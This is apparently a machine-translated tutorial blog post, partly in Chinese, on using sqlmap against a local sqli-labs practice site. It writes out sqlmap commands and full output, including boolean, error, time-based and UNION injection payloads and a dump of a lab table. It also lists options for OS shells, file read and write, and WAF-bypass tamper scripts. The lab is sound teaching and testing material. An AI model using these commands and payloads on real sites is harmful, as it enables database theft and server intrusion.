Webセキュリティの攻撃と防御のためのSQLmapの使用

「WebSecurityAttack and Defense」では、sqli-labsを使用してSQLmapのアーティファクトに精通しており、このツールの使用法にも大まかに精通しています。

SQLインジェクションの基本的な手順:

  • 注入タイプを決定します
  • データベース名を取得する
  • データテーブル名を取得する
  • フィールド名を取得する
  • データを取得する

1注射の種類を決定します

1.1タイプを取得する

-uパラメーターを使用してURLを指定します(sqlmapレベル1)

sqlmap -u "http://localhost:4000/Less-1?id=1"

URLには、要求されたパラメータを付けることが望ましいことに注意してください。

sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind(布尔盲注)
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 9623=9623 AND 'JjhO'='JjhO


    Type: error-based(报错注入)
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x71767a7871,(SELECT (ELT(3702=3702,1))),0x716a6b6271),3702) AND 'oyIr'='oyIr


    Type: time-based blind(延时注入)
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8003 FROM (SELECT(SLEEP(5)))etaK) AND 'ACHt'='ACHt


    Type: UNION query(联合注入)
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-9510' UNION ALL SELECT NULL,CONCAT(0x71767a7871,0x65497456414974586b4c4a676479645971685666684c6163637353757955774841706b47726a6755,0x716a6b6271),NULL-- -
---

上記のように、パラメーターIDは4つのインジェクション手法(ブール、エラー、遅延、和集合)を使用でき、使用されるペイロードも指定されます。SQLmapは、5つのSQLインジェクション手法を使用します。

  • 関節注射
  • エラーインジェクション
  • ブールブラインド
  • 注入を遅らせる
  • スタック噴射

これらのインジェクションタイプに慣れていない場合は、sqli-labsにアクセスして実行できます。以前の記事https://blog.csdn.net/qq_43085611/article/details/112661431を参照してください。

1.2POSTまたはGETタイプ

Burp Suiteを使用してパケットをキャプチャします(キャプチャする必要のあるWebページはローカルで構築されたURLであり、通常はlocalhostまたは127.0.0.1を介してアクセスされますが、これら2つのアドレスを渡すと、BurpSuiteはパケットをキャプチャできません。検討できます。ホストの変更他のドメイン名を使用してアクセスするには)、最後にキャプチャしたパッケージを1.txtファイルとしてローカルに保存します。

次に、-rパラメーターを使用してHTTPパッケージを指定します(-r REQUESTFILEファイルからHTTP要求をロードします)

sqlmap -r 1.txt

このメソッドは、GETタイプまたはPOSTタイプのインジェクションの脆弱性を検出できます。

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 2269=2269 AND 'fYWA'='fYWA


    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(8383=8383,1))),0x7176786a71),8383) AND 'THdq'='THdq


    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1253 FROM (SELECT(SLEEP(5)))PKdp) AND 'yWGz'='yWGz


    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-8764' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x766e654f656c6f7779676842616d704f53567a74486b645956614a4b527578794d6f44544775644b,0x7176786a71)-- -

SQLmapによって提供されるプロンプト情報を注意深く見ると、彼が実行結果を保存していることがわかります。

[16:00:42] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:00:42] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'(运行结果保存地址)


[*] ending @ 16:00:42 /2021-01-26/

2データベース名を取得します

コマンドを使用する

sqlmap -r 1.txt --dbs

データベース情報

web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:05:51] [INFO] fetching database names
[16:05:51] [WARNING] reflective value(s) found and filtering out
[16:05:51] [INFO] retrieved: 'mysql'
[16:05:51] [INFO] retrieved: 'information_schema'
[16:05:51] [INFO] retrieved: 'performance_schema'
[16:05:51] [INFO] retrieved: 'sys'
[16:05:51] [INFO] retrieved: 'study'
[16:05:51] [INFO] retrieved: 'hello_ssm'
[16:05:51] [INFO] retrieved: 'dvwa'
[16:05:51] [INFO] retrieved: 'security'
[16:05:51] [INFO] retrieved: 'challenges'
available databases [9]:
[*] challenges
[*] dvwa
[*] hello_ssm
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] study
[*] sys

3データテーブル名を取得します

コマンドを使用する

sqlmap -r 1.txt --tables

このコマンドは、システム内のすべてのテーブル名を一覧表示し、頻繁には使用されません。

データテーブルの名前を取得するために一般的に使用されるコマンド

sqlmap -r 1.txt -D="security" --tables

-Dを使用してデータベース名を指定し、特定のデータベースのデータテーブル名を取得します。実行結果は以下のとおりです。

[16:09:23] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:09:23] [INFO] fetching tables for database: 'security'
[16:09:23] [WARNING] reflective value(s) found and filtering out
[16:09:23] [INFO] retrieved: 'emails'
[16:09:23] [INFO] retrieved: 'referers'
[16:09:23] [INFO] retrieved: 'uagents'
[16:09:23] [INFO] retrieved: 'users'
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+

[16:09:23] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'

[*] ending @ 16:09:23 /2021-01-26/

4フィールド名を取得します

上記のテーブル名を取得する方法と同様に、データテーブル名を指定することをお勧めします

sqlmap -r 1.txt -D="security" -T emails --columns

指定されたパラメータの-D="security"実施形態を使用することに加えて、それはまた-T email、実施形態において使用さ得る

実行結果は以下のとおりです。

[16:13:59] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:13:59] [INFO] fetching columns for table 'emails' in database 'security'
[16:14:00] [WARNING] reflective value(s) found and filtering out
[16:14:00] [INFO] retrieved: 'id','int'
[16:14:00] [INFO] retrieved: 'email_id','varchar(30)'
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email_id | varchar(30) |
| id       | int         |
+----------+-------------+


[16:14:00] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'


[*] ending @ 16:14:00 /2021-01-26/

5データを取得する

使用されるコマンドは次のとおりです。

 sqlmap -r 1.txt -D "security" -T emails -C email_id,id --dump

実行結果は以下のとおりです。

[16:17:19] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.6
back-end DBMS: MySQL >= 5.6
[16:17:19] [INFO] fetching entries of column(s) 'email_id, id' for table 'emails' in database 'security'
[16:17:19] [WARNING] reflective value(s) found and filtering out
[16:17:19] [INFO] retrieved: '[email protected]','1'
[16:17:19] [INFO] retrieved: '[email protected]','2'
[16:17:19] [INFO] retrieved: '[email protected]','3'
[16:17:19] [INFO] retrieved: '[email protected]','4'
[16:17:19] [INFO] retrieved: '[email protected]','5'
[16:17:19] [INFO] retrieved: '[email protected]','6'
[16:17:19] [INFO] retrieved: '[email protected]','7'
[16:17:19] [INFO] retrieved: '[email protected]','8'
Database: security
Table: emails
[8 entries]
+------------------------+----+
| email_id               | id |
+------------------------+----+
| [email protected]       | 1  |
| [email protected]       | 2  |
| [email protected]    | 3  |
| [email protected]   | 4  |
| [email protected]   | 5  |
| [email protected] | 6  |
| [email protected]   | 7  |
| [email protected]      | 8  |
+------------------------+----+


[16:17:19] [INFO] table 'security.emails' dumped to CSV file '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top/dump/security/emails.csv'(数据表)
[16:17:19] [INFO] fetched data logged to text files under '/Users/littlechieh6/.local/share/sqlmap/output/burpsuite.slug01sh.top'


[*] ending @ 16:17:19 /2021-01-26/

取得したデータはcsvファイルに保存されます。

6その他のパラメータ

構成

  • -レベルn:nは1〜5で、さまざまな検出レベルを表します(レベルが高いほど、テストはより包括的になりますが、より多くの要求が送信されます。デフォルトは1です)
  • -リファラー:リファラーを欺くように設定します。
  • --Sql-shel:カスタムSQLステートメントを実行します
  • –os-cmdまたは–os-shell:システムコマンドを実行します
  • -ファイル読み取り:システムファイルを読み取ります
  • –file-writeまたは–file-dest:ファイル書き込み
  • -改ざんモジュール名:WAF / IDS / IPSをバイパスするスクリプトを指定します

メッセージを収集する

  • -ユーザー:すべてのユーザー
  • -パスワード:ユーザーのパスワード
  • -Curent-db:現在のデータベース名
  • -Curent-user:現在のユーザー名
  • –is-dba:現在のユーザーが管理者であるかどうか
  • -役割:管理者のリスト

7改ざん

改ざんは通常、WAFをバイパスするために使用されます。単純なbase64encodeを使用して分析します。

#!/usr/bin/env python


"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""


from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY


__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload


    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """


    return encodeBase64(payload, binary=False) if payload else payload

改ざんは主に送信前に変換を実行することです。たとえば、一部のWebサイトは送信前にBase64暗号化を実行し、サーバーはデータの受信後にBase64復号化を実行します。改ざんが使用されておらず、sqlmapが直接使用されている場合、プレーンテキストが送信されます。サーバーのbase64が復号化された後は、プレーンテキストを挿入できません。

通常、改ざんスクリプトを作成するには、Webサイトがデータを送信する方法を具体的に分析する必要があります。使用法:--tamper 模块名(文件名)

おすすめ

転載: blog.csdn.net/qq_43085611/article/details/113188273